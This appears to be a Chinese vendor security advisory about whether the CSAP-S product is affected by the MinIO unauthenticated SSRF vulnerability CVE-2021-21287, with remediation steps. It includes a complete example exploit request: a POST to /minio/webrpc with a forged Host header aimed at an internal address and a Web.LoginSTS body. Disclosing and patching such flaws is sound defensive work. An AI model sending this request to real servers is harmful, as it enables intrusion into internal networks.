CSAP-S 是否涉及MinIO未授权SSRF漏洞CVE-2021-21287

漏洞相关 杨雅伦 2023-07-28 发表

漏洞相关信息

漏洞编号： CVE-2021-21287
漏洞名称： MinIO未授权SSRF漏洞
产品型号及版本： CSAP-S

漏洞描述

1)安全隐患描述
由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞。攻击者可以通过构造URL来发起服务器端请求伪造攻击，成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。
该漏洞无需用户验证即可远程利用，由于逻辑设计不当，MinIO会将用户发送的HTTP头Host中获取到地址作为URL的Host来构造新的URL。但由于请求头是用户可控的，所以可以构造任意的Host，最终导致SSRF漏洞。
2)安全隐患位置
https://172.16.241.38:8901/minio/webrpc
POST /minio/webrpc HTTP/1.1
Host: 172.16.3.251:8091
COOKIE: server-session-id=d4c24e4b-b3f9-4553-83ef-6755771c674f; tipFlag=true; licFlag=false; JSESSIONID=14FF529A6ED196FBB64E1FE658F9594D; userAgreementAndPrivacyPolicyFlag=checked
Content-Length: 74
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Content-Type: application/json
X-Amz-Date: 20230727T062947Z
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://172.16.241.38:8901
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://172.16.241.38:8901/minio/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"Web.LoginSTS"}
3)隐患整改建议
目前该漏洞已被修复，建议升级至RELEASE.2021-01-30T00-20-58Z。
下载链接：
https://github.com/minio/minio/releases/tag/RELEASE.2021-01-30T00-20-58Z
解决方法
配置环境变量“ MINIO_BROWSER = off”

漏洞解决方案

该漏洞在新UI版本中已解决，升级到E1147P05及以后的版本